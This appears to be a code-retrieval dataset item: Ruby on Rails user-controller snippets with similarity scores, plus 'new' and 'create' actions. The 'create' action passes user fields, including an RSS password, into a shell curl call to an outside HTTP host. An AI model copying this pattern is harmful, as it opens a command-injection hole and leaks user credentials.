"def users\n get('get_users')\n end",
"def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end",
"def show\n @user = V1::User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show \n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def index\n\t\t@users = User.all\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml\t{ render :xml => @users }\n\t\tend\n\tend",
"def index\n @user = current_user\n @title = \"Account\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def users(params = {})\n make_get_request('/account/users', params)\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @user.to_xml }\n end\n end",
"def users\n \n @users = User.where(:enabled => true)\n @users = @users.where(:role => params[:role].upcase) if params[:role]\n @users = @users.where(:id => params[:id]) if params[:id]\n respond_to do |format|\n format.xml { render :xml => @users.to_xml }\n end\n \n end",
"def index\n authorize! :read, User\n @users = User.find(:all)\n @users ||= []\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @users.to_xml }\n end\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @user }\n end\n end",
"def query_users(options={}) path = \"/api/v2/users\"\n get(path, options, AvaTax::VERSION) end",
"def show\n respond_to do |format|\n format.html\n format.xml { render :xml => @user }\n end\n end",
"def index\n @users = User.all\n respond_to do |format|\n format.html\n format.xml { render :xml => @users }\n format.json { render :json => @users }\n end\n end",
"def show\n @user = User.find(params[:id])\n @title = @user.username\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user.to_xml(:except => [:password_digest, :remember_token])}\n end\n end",
"def show\n @user = User.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id]) or raise ActiveRecord::RecordNotFound\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @user.to_xml }\n end\n end",
"def index\n users = get_collection(visible_users) || return\n\n respond_to do |format|\n format.xml { render xml: users.to_xml(only: DEFAULT_FIELDS, root: :users, skip_types: true) }\n format.json { render json: users.to_json(only: DEFAULT_FIELDS) }\n end\n end",
"def users_get_info_response_xml\n <<-XML\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <users_getInfo_response xmlns=\"\" xmlns:xsi=\"\" xsi:schemaLocation=\"\" list=\"true\">\n\t<user>\n\t <uid>kangtk</uid>\n\t <nickname>康泰克</nickname>\n\t <facebig>http://userface3.51.com/ce/25/kangtk_130.gif?v=20071208033821</facebig>\n\t <sex>1</sex>\n\t <vip>3</vip>\n\t <isconfirm>1</isconfirm>\n\t</user>\n </users_getInfo_response>\n XML\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end"
] |
[
"0.7207758",
"0.71160614",
"0.7054628",
"0.70484746",
"0.6916555",
"0.6916146",
"0.6915502",
"0.6890011",
"0.68641984",
"0.68633956",
"0.6853434",
"0.68511736",
"0.68511736",
"0.68511736",
"0.6828291",
"0.68280435",
"0.68278646",
"0.68065727",
"0.6801009",
"0.6786165",
"0.676656",
"0.6737866",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67323196",
"0.67162997",
"0.67162997",
"0.67162997",
"0.67147905",
"0.6709973",
"0.67093414",
"0.66771376",
"0.6676199",
"0.6673456",
"0.66601056",
"0.66483146",
"0.66351426",
"0.66298765",
"0.6601779",
"0.65742964",
"0.6568273",
"0.6567998",
"0.6548836",
"0.6534059",
"0.65334934",
"0.65303916",
"0.6528084",
"0.651673",
"0.6503691",
"0.6500449",
"0.6470068",
"0.646801",
"0.6465945",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248",
"0.6463248"
] |
0.6510219
|
60
|
GET /users/new GET /users/new.xml
|
def new
@user = User.new
@addresses = Address.all
@address = Address.new
widok = 'new'
widok = 'user_new' if !(admin_logged_in?)
respond_to do |format|
format.html { render widok } # new.html.erb
format.xml { render :xml => @user }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n logger.debug(\"Create a new user\")\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.xml { render xml: @user}\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @user }\n end\n end",
"def new\n @user = User.new\n get_list\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @user }\n end\n end",
"def new\n # When a http GET request to '/users/new' is received, have it render:\n # a view file with an empty form to create a new user.\n end",
"def new\n\tputs \"\\n\\t\\t in new\\n\"\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n render :xml => @user\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new()\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = V1::User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n respond_to do |format|\n format.html\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n respond_to do |format|\n format.html\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n respond_to do |format|\n\tformat.html # new.html.erb\n\tformat.xml { render :xml => @user }\n end\nend",
"def new\n @user_name = UserName.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_name }\n end\n end",
"def new\n @usr = Usr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usr }\n end\n end",
"def new\n @user = User.new\n @title = \"Sign Up\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n logger.info 'huyen anh'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n @title = \"Signup to Studyers\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html { render :layout=>false}\n format.xml { render :xml => @user }\n end\n end",
"def new\n\t\t@user = User.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @user }\n\t\tend\n\tend",
"def new\n\t\t@user = User.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @user }\n\t\tend\n\tend",
"def new\n @user = User.new :step => '1'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n @page_title = '创建新用户'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @user = User.new\n @users = @firm.users.all\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @users = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @users }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.haml\n format.json { render_for_api :public, :json => @user }\n format.xml { render_for_api :public, :xml => @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.xml { render :xml => @user }\n format.js #new.js.rjs\n end\n end",
"def new\n respond_to do |format|\n format.json { render :json => @user } \n format.xml { render :xml => @user }\n format.html\n end\n end",
"def new\n @newuser = Newuser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newuser }\n end\n end",
"def new\n @userinfo = Userinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @userinfo }\n end\n end",
"def new\n @user = User.new\n @action = \"new\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def newAdmin\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @users = User.find(:all)\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end",
"def new\n @user = user.new\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @usernew = Usernew.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usernew }\n end\n end",
"def new\n @database = Database.new\n @users = User.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @database }\n end\n end",
"def new\n @user_addon = UserAddon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_addon }\n end\n end",
"def new2\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n #respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @user }\n # end\n end",
"def new\n @users = User.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @email_user = Email::User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email_user }\n end\n end",
"def new\n @user_template = UserTemplate.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_template }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @online_retailer_user }\n end\n end",
"def new\n @usuario = Usuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usuario }\n end\n end",
"def new\n @usuario = Usuario.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usuario }\n end\n end",
"def new\n @user = User.new\n @user.stats = Stats.new\n @stats = @user.stats\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @user }\n end\n end",
"def new\n @user = User.new\n @roles = Role.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end"
] |
[
"0.77330446",
"0.7697235",
"0.7628986",
"0.75933844",
"0.7592385",
"0.75490505",
"0.7536828",
"0.7530958",
"0.7530958",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7508645",
"0.7507901",
"0.7507901",
"0.7507901",
"0.7507901",
"0.7507901",
"0.7464288",
"0.7458749",
"0.7437645",
"0.74308515",
"0.7425612",
"0.7281308",
"0.7226895",
"0.71805024",
"0.71609145",
"0.71551806",
"0.71148974",
"0.71052235",
"0.70312554",
"0.70312554",
"0.7030487",
"0.70140064",
"0.7013169",
"0.7012782",
"0.69945866",
"0.69914556",
"0.6990106",
"0.69833785",
"0.69761634",
"0.6966175",
"0.6945618",
"0.6940041",
"0.69285053",
"0.6927652",
"0.69193554",
"0.6912061",
"0.6878826",
"0.6872577",
"0.68450326",
"0.6814593",
"0.68106794",
"0.6797799",
"0.67911136",
"0.6781481",
"0.6778547",
"0.6764598"
] |
0.7135706
|
70
|
POST /users POST /users.xml
|
def create
genotyp = nil
genotyp = Genotype.find(:first, :conditions => { :genotyp => params[:genotyp] }) if params[:genotyp] != nil
autoryzowane = false
autoryzowane = true if admin_logged_in?
autoryzowane = true if !admin_logged_in? && !genotyp.nil?
widok = 'new'
widok = 'user_new' if !(admin_logged_in?)
przekierowanie = users_path
przekierowanie = root_path if !(admin_logged_in?)
if !admin_logged_in? && !genotyp
flash[:error] = "Nieprawidłowa fraza"
else
flash[:error] = nil
end
params[:user].delete(:address_opises)
@user = User.new(params[:user])
@addresses = Address.all
respond_to do |format|
if autoryzowane && @user.save
if !admin_logged_in?
notice = "Możesz się teraz zalogować"
genotyp.destroy
system('curl http://reader.appload.pl/shedule/' << @user.klucz << '!' << @user.rss_pass)
else
notice = "Pomyślnie dodano nowego użytkownika #{@user.klucz} => #{@user.id}"
end
format.html { redirect_to(przekierowanie, :notice => notice) }
format.xml { render :xml => @user, :status => :created, :location => @user }
else
format.html { render widok, :action => "new" }
format.xml { render :xml => @user.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def post_users(users)\n self.class.post('https://api.yesgraph.com/v0/users', {\n :body => users.to_json,\n :headers => @options,\n })\n end",
"def post body=nil, headers={}\n @connection.post \"users.json\", body, headers\n end",
"def CreateUser params = {}\n \n APICall(path: 'users.json',method: 'POST',payload: params.to_json)\n \n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: @user }\n format.xml { render xml: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n format.xml { render xml: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_user(name, value)\n self.class.post(\"/users/#{name}\",\n body: value,\n headers: {\n 'Content-Type' => 'application/json; charset=UTF-8',\n Connection: 'keep-alive',\n Accept: 'application/json, text/plain, */*'\n })\n end",
"def create_user(params:)\n parse(JSON.parse(connection.post(\"users\", params.to_json).body))\n end",
"def publish_to_users\n data = { users: users }.merge!(payload)\n client.post('publishes/users', data)\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(users_url, :notice => \"User #{@user.name} was successfully created.\") }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create(options = {})\n request(:post, '/users.json', default_params(options))\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.xml { render xml: @user}\n end\n end",
"def create\n @users = User.new(params[:user])\n\n respond_to do |format|\n if @users.save\n format.html { redirect_to @users, notice: 'Regist was successfully created.' }\n format.json { render json: @users, status: :created, location: @users }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(:users, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n respond_to do |format|\n if @user.save\n format.html { render :json => {:success => true} }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :json => ( (@user.errors.full_messages.join(\".<br />\").to_s + \".\").to_json ) } unless @user.errors.empty?\n format.html { render :json => {:success => false} }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def append_user_info(username, xml); end",
"def create\n @user = V1::User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'V1::User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\r\n @user = User.new(params[:user])\r\n \r\n respond_to do |format|\r\n if @user.save\r\n flash[:notice] = 'User was successfully created.'\r\n format.html { redirect_to user_url(@user) }\r\n format.xml { head :created, :location => user_url(@user) }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @user.errors.to_xml }\r\n end\r\n end\r\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(:root) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\", :layout=>false }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_user(body)\n post 'create_user', body\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to user_url(@user) }\n format.xml { head :created, :location => user_url(@user) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors.to_xml }\n end\n end\n end",
"def createuserxml(useremail, username, roleid, restrictionid, groupids)\n userxml = Document.new\n userxml.add_element(\"user\")\n email = Element.new(\"email\")\n email.text= useremail\n userxml.root.add_element(email)\n name = Element.new(\"name\")\n name.text = username\n userxml.root.add_element(name)\n role = Element.new(\"roles\")\n role.text = roleid\n userxml.root.add_element(role)\n restriction_id = Element.new(\"restriction_id\")\n restriction_id.text = restrictionid\n userxml.root.add_element(restriction_id)\n groups = Element.new(\"groups\")\n userxml.root.add_element(groups, {\"type\" => \"array\"})\n # we can have or more of the groupIds\n groupids.each { |groupid|\n group = Element.new(\"group\")\n group.text = groupid\n groups.add_element(group)\n }\n\n return userxml # need to explicitly return in in this case because we want to return the entire xml we just built\n end",
"def create\n r = @api.create_user(user_params)\n respond_to do |format|\n if r.code == 201\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n else\n response = JSON.parse(r.body)\n format.html { redirect_to users_url, alert: response['message']}\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
